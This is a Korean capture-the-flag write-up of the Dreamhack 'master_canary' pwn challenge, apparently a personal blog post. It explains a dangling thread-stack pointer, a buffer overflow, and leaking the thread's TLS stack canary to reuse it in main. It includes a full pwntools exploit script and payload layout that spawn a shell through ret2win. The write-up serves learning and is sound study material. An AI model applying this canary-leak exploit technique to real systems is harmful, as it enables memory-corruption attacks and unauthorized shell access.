master_canary

A thread's local buffer outlives its frame, and the canary pthread_create copied into that thread is the same value main checks.

2026.11.08 Pwn original post

난 그냥 어려운 버전에 카나리 문제여서 마스터가 붙는줄알았는데… 있는 용어였다. 용어를 정리하면,

마스터 카나리 (master canary)

  • 위치: TLS (fs:0x28)
  • 역할: 원본. 스택 카나리가 값을 베껴오는 곳이자, 나중에 비교하는 기준.

스택 카나리 (stack canary)

  • 위치: 각 함수의 스택 프레임 안 (buf와 리턴 주소 사이)
  • 역할: 복사본. 함수 시작할 때 마스터에서 값을 복사해 심어둠.

그래서 스택 카나리를 알기 위해 마스터 카나리 값을 릭 하는게 목표.

프로그램의 구조 먼저 보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>

char *global_buffer;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

void *thread_routine() {
    char buf[256];
    global_buffer = buf;
}

void read_bytes(char *buf, size_t size) {
    size_t sz = 0;
    size_t idx = 0;
    size_t tmp;

    while (sz < size) {
        tmp = read(0, &buf[idx], 1);
        if (tmp != 1) {
            exit(-1);
        }
        idx += 1;
        sz += 1;
    }
    return;
}

int main(int argc, char *argv[]) {
    size_t size = 0;
    pthread_t thread_t;
    int idx = 0;
    char leave_comment[32];

    initialize();

    while (1) {
        printf("1. Create thread\n");
        printf("2. Input\n");
        printf("3. Exit\n");
        printf("> ");
        scanf("%d", &idx);

        switch (idx) {
            case 1:
                if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0) {
                    perror("thread create error");
                    exit(0);
                }
                break;
            case 2:
                printf("Size: ");
                scanf("%lu", &size);

                printf("Data: ");
                read_bytes(global_buffer, size);

                printf("Data: %s", global_buffer);
                break;
            case 3:
                printf("Leave comment: ");
                read(0, leave_comment, 1024);
                return 0;
            default:
                printf("Nope\n");
                break;
        }
    }

    return 0;
}

취약점 1 — Dangling Pointer (UAF)

char *global_buffer;

void *thread_routine() {
    char buf[256];

    global_buffer = buf;
}

Dangling pointer 취약점에대한 정의를 먼저 내리자.

Dangling Pointer는 이미 해제됐거나 더 이상 유효하지 않은 메모리를 계속 가리키는 포인터를 말합니다. 포인터 변수에는 주소가 그대로 남아 있지만, 그 주소의 메모리는 이미 시스템에 반환되었거나 다른 용도로 다시 쓰이고 있는 상태입니다. C나 C++처럼 메모리를 직접 관리하는 언어에서 주로 생깁니다.

예시 코드이다. 메모리가 free 된 후에도 계속 사용을 하는 경우이다.

char *p = malloc(16);
strcpy(p, "hello");
free(p);          // 메모리는 해제됐지만 p에는 주소가 그대로 남아 있음
printf("%s", p);  // 해제된 메모리를 읽음 → 정의되지 않은 동작

그 외에도 함수가 지역 변수의 주소를 반환할 때나 같은 메모리를 가리키는 포인터가 여러 개일 때일때도 생길수있는 일이다.

여기서 중요한 것은 buf와 global_buffer의 차이이다.

  • buf: Thread 함수 내부에서 선언한 지역 변수
  • global_buffer: 전역 변수로, 프로그램 전체에서 접근 가능

이 코드에서 보면, 전역변수인 global_buffer 는 buf 를 참조하고있다. 하지만, 함수 thread_routine() 이 끝나면 buf의 수명도 끝난다. 그런데 global_buffer는 여전히 그 주소를 가르키고있는거다.

하지만 이 에러가 어떻게 완전한 취약점이 되는걸까? 그건 여길보면된다.

read_bytes(global_buffer, size);

원래는 유효하지 않은 포인터를 사용하면 안 되지만, 프로그램은 아무런 검사 없이 해당 주소에 데이터를 (buf 자리에) 쓸려고 한다. 이것이 바로 USE AFTER FREE 로 넘어가는것이다.

취약점 2 — Stack buffer overflow

이 취약점은 함수 read_bytes() 을 보면 있다.

void read_bytes(char *buf, size_t size) {
    size_t sz = 0;
    size_t idx = 0;
    size_t tmp;

    while (sz < size) {
        tmp = read(0, &buf[idx], 1);
        if (tmp != 1) {
            exit(-1);
        }
        idx += 1;
        sz += 1;
    }
    return;
}

사실 여기를 보면

void *thread_routine() {
    char buf[256];
    global_buffer = buf;
}

buf 의 길이는 이미 256 바이트로 정해져있다. 하지만 이 함수는 사용자에게 크기를 묻지 않는다. size는 호출하는 쪽(caller)이 인자로 넘겨주는 값이다. 함수 내부는 그 size를 그냥 믿고 그 횟수만큼 반복해서 쓴다. 즉, 몇 바이트를 쓸지는 전적으로 호출자가 넘긴 size에 달려 있는것이다.

여기서 read() 함수를 이해해야한다. 이 함수를 제데로 이해하지 못하면서 그냥 “읽는 함수가 어떻게 쓰기(오버플로)를 하냐?” 라고 헷갈릴수있습니다 (내가 그랬음). 하지만 read() 는 함수에 이름과 다르게 write 도 포함한다.

read(0, &buf[idx], 1);
     │    │        │
     │    │        └ 길이
     │    └ 목적지(destination) — 메모리에 쓰는 곳
     └ 출처(source) — fd 0 = stdin에서 읽어옴

read는 stdin(fd 0)에서 데이터를 읽어와서, 그걸 buf[idx]라는 메모리에 저장(write) 합니다. 즉:

  • 입력 쪽(stdin) 에서는 “읽기”가 맞습니다.
  • 하지만 메모리(buf) 쪽 에서는 그 읽어온 값을 써 넣는(write) 겁니다.

그러니까 read_bytes는 프로그램 입장에서 보면 stdin → buf 로 메모리에 쓰는 함수입니다. 그래서 오버플로가 성립합니다.

while (sz < size) {
    read(0, &buf[idx], 1);   // buf[idx]에 1바이트 WRITE
    idx += 1;                // 다음 칸
    sz += 1;
}

idx가 0, 1, 2, … 로 증가하면서 buf[0], buf[1], … 에 차례로 써 나갑니다. size가 buf 크기(256)보다 크면 buf[256], buf[257] … 즉 경계 밖 메모리에 계속 써 넣습니다. 이게 바로 오버플로(쓰기)입니다.

취약점 3 — Stack canary leak

printf("Data: %s", global_buffer);

왜 leak이 필요한가: 카나리는 랜덤이라 미리 알 수 없습니다. case 3에서 리턴 주소를 덮으려면 그 앞의 카나리를 원래 값 그대로 복원해야 하는데, 그러려면 먼저 값을 “읽어내야” 합니다.

%s의 성질: printf("%s", p)는 p부터 시작해서 첫 번째 null 바이트(0x00)를 만날 때까지 출력합니다.

카나리의 생김새 (리눅스 x86-64):

카나리 = 0x??????????????00
                        └─ 최하위 1바이트는 항상 0x00

glibc는 카나리 LSB를 일부러 null byte로 둡니다. 이건 %s/strcpy 같은 문자열 연산으로 카나리가 통째로 새는 걸 막으려는 방어책이에요. (리틀 엔디안이니까 00 부터 시작함, 뒤에 있다는게 마지막이라는 뜻이 아님)

하지만 우리는 read_bytes(case 2)로 데이터를 카나리의 LSB 자리까지 non-null 1바이트로 덮어버릴수있다. 그러면 널을 만나지 않은 상태여서, 카나리 초반에서 끊겨버리지 않는다. 00 대신 a 로 채워두고 그 부분이 널인걸 아니까 다시 채우면 전체 카나리를 구할수있다.

취약점 4 — Master canary: thread 간 canary 공유

카나리 검증 메커니즘은 이렇다.

mov    rax, fs:0x28        ; 현재 스레드 TLS의 마스터 카나리
cmp    rax, [rbp-8]        ; 스택 프레임에 저장해 둔 카나리와 비교
jne    __stack_chk_fail    ; 다르면 죽음

그러니까 “더럽혀질 수 없는 원본(fs:0x28) vs 더럽혀졌을 수 있는 스택 사본([rbp-8])” 을 비교 함으로써 스택에 오버플로우가 일어났는지를 검증한다.

공유라는 표현이 오해를 부를 수있는데 정확히 말하면, “복사돼서 값이 같다(same value)” 이다. 근데 이 코드에서 그게 왜 문제가 되냐? 그건 우리가 이 특성때문에 Worker에서 얻은 카나리를 Main에서 재사용할수있기 때문이다.

복사 논리.

main TLS (fs:0x28) ★원본/마스터★
   │
   ├──→ main 스택 [rbp-8]        (main 함수가 자기 TLS에서 복사)
   │
   └──→ worker TLS (fs:0x28)     (pthread_create가 main TLS에서 복사)
            │                     // worker 는 그냥 pthread_create로 만든 자식 스레드임
            └──→ worker 스택 [rbp-8]  (worker 함수가 자기 TLS에서 복사)

취약점 5 — 메인의 stack buffer overflow

char leave_comment[32];           // 32바이트 버퍼
read(0, leave_comment, 1024);     // 최대 1024바이트 입력 → 992바이트 초과 가능
return 0;                         // main 리턴 = 저장된 리턴 주소로 점프

main 스택 프레임 레이아웃 (아래가 낮은 주소):

┌──────────────────────┐ 낮은 주소
│ leave_comment[0..31] │ 32바이트
├──────────────────────┤
│ ... 다른 지역변수 ...  │ (size, idx, thread_t 등 — 컴파일러 배치에 따라)
├──────────────────────┤
│ 저장된 카나리          │ ← [rbp-8], 여기를 ②의 값으로 정확히 복원
├──────────────────────┤
│ 저장된 RBP            │ 8바이트
├──────────────────────┤
│ 리턴 주소             │ ← 여기를 get_shell로
└──────────────────────┘ 높은 주소

페이로드 구성:

payload  = b'A' * OFFSET_TO_CANARY   # leave_comment ~ 카나리 직전까지 채우기
payload += p64(canary)               # ②에서 재사용한 카나리 → 검사 통과
payload += b'B' * 8                  # 저장된 RBP (아무 값)
payload += p64(get_shell_addr)       # 리턴 주소 → system("/bin/sh")

공격 목표와 전체 그림

이제 취약점은 다 분석했으니 익스를 짜고 계획을 세우자.

  • 목표: main의 리턴 주소를 get_shell로 덮어 system("/bin/sh") 실행.
  • 장애물: main의 스택 카나리.
  • 해법: UAF로 접근한 worker 스레드 TLS에서 카나리를 leak → 공유 성질로 main에도 유효 → case 3 오버플로에서 재사용.

밑에는 익스코드이다.

import sys, time, argparse
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

GET_SHELL   = 0x400a4a   # get_shell()  -> system("/bin/sh")
CANARY_DIST = 0x28       # leave_comment(rbp-0x30) .. canary(rbp-0x8)
CANARY_OFF  = 0x8e8      # buf  ..  worker thread's fs:0x28  (glibc 2.23, 8MB stack)

def start(args):
    if args.local:
        return process(args.local)
    return remote(args.host, args.port)

def pwn(off, args, verbose=True):
    io = start(args)

    io.sendlineafter(b'> ', b'1')
    io.recvuntil(b'> ')
    time.sleep(0.4)

    io.sendline(b'2')
    io.sendlineafter(b'Size: ', str(off + 1).encode())
    io.sendafter(b'Data: ', b'A' * (off + 1))
    io.recvuntil(b'Data: ')
    leak = io.recvuntil(b'1. Create thread', drop=True)

    if len(leak) < off + 8:
        io.close()
        return None, None
    canary = b'\x00' + leak[off + 1:off + 8]
    if verbose:
        log.success('offset 0x%x  canary = %#018x' % (off, u64(canary)))

    payload  = b'A' * CANARY_DIST
    payload += canary
    payload += b'B' * 8          # saved rbp
    payload += p64(GET_SHELL)    # return address
    io.sendlineafter(b'> ', b'3')
    io.sendafter(b'Leave comment: ', payload)
    return io, canary

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--host', default='host3.dreamhack.games')
    ap.add_argument('--port', type=int, default=15554)
    ap.add_argument('--local')
    ap.add_argument('--offset', type=lambda x: int(x, 0), default=CANARY_OFF)
    ap.add_argument('--cmd', default=None, help='non-interactive check')
    args = ap.parse_args()

    io, canary = pwn(args.offset, args)
    if io is None:
        log.failure('leak too short - wrong offset?')
        return 1
    if args.cmd:
        io.sendline(args.cmd.encode())
        print(io.clean(timeout=3).decode(errors='replace'))
    else:
        io.interactive()
    return 0

if __name__ == '__main__':
    sys.exit(main())

방향이랑 자잘한 프로세스들

보호기법을 보면 공격 경로가 바로 좁혀진다.

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
  • No PIE → get_shell 주소가 0x400a4a로 고정. 주소 leak 필요 없음
  • NX → 쉘코드 불가. 그래서 ret2win(get_shell로 점프)
  • 카나리 → 리턴 주소를 덮으려면 반드시 통과해야 함

이 문제는 나머지는 이 세 값만 알면 된다.

GET_SHELL   = 0x400a4a   # ret2win 목적지
// info function get_shell

CANARY_DIST = 0x28       # leave_comment ~ main 카나리 거리
// disassemble main  //CANARY_DIST = 0x30 - 0x8 = 0x28 걍 리버싱

CANARY_OFF  = 0x8e8      # worker buf ~ 스레드 카나리 거리
// worker 카나리 거리 (스레드 1개 생성 후)
// set $canary = *(unsigned long*)($fs_base + 0x28)
// set $gb     = *(unsigned long*)&global_buffer
// find $gb, +0x3000, $canary
// p/x ($found - $gb)                     # → CANARY_OFF
// x/gx $gb + CANARY_OFF                  # 끝 바이트 00 확인

본격적 코드 분석

io.sendlineafter(b'> ', b'1')
io.recvuntil(b'> ')
time.sleep(0.4)

메뉴 1로 스레드를 생성합니다. 0.4초 쉬어서 스레드가 확실히 실행을 마치도록 기다린다.

io.sendline(b'2')
io.sendlineafter(b'Size: ', str(off + 1).encode())
io.sendafter(b'Data: ', b'A' * (off + 1))

Size에 off + 1 = 0x8e9 입력 → read_bytes가 global_buffer부터 0x8e9 바이트를 쓴다. (UAF) 0x8e8까지는 buf와 그 사이 공간을 ‘A’로 채우고, 마지막 +1 바이트가 카나리의 LSB(0x00)를 ‘A’로 덮는다. 아까 말했던 00 (null) 값을 덮음으로서 canary leak.

if len(leak) < off + 8:
    io.close()
    return None, None
canary = b'\x00' + leak[off + 1:off + 8]

길이 검증하고 맞으면 \x00을 붙여 LSB를 복원한다. 이게 완전한 8바이트 카나리.

payload  = b'A' * CANARY_DIST    # 0x28 = leave_comment ~ 카나리
payload += canary                # 복원한 진짜 카나리
payload += b'B' * 8              # saved rbp
payload += p64(GET_SHELL)        # return address
io.sendlineafter(b'> ', b'3')
io.sendafter(b'Leave comment: ', payload)

그리고 카나리 써서 페이로드 하면 끝!!!!!

#canary#tls#dangling-pointer#stack#ret2win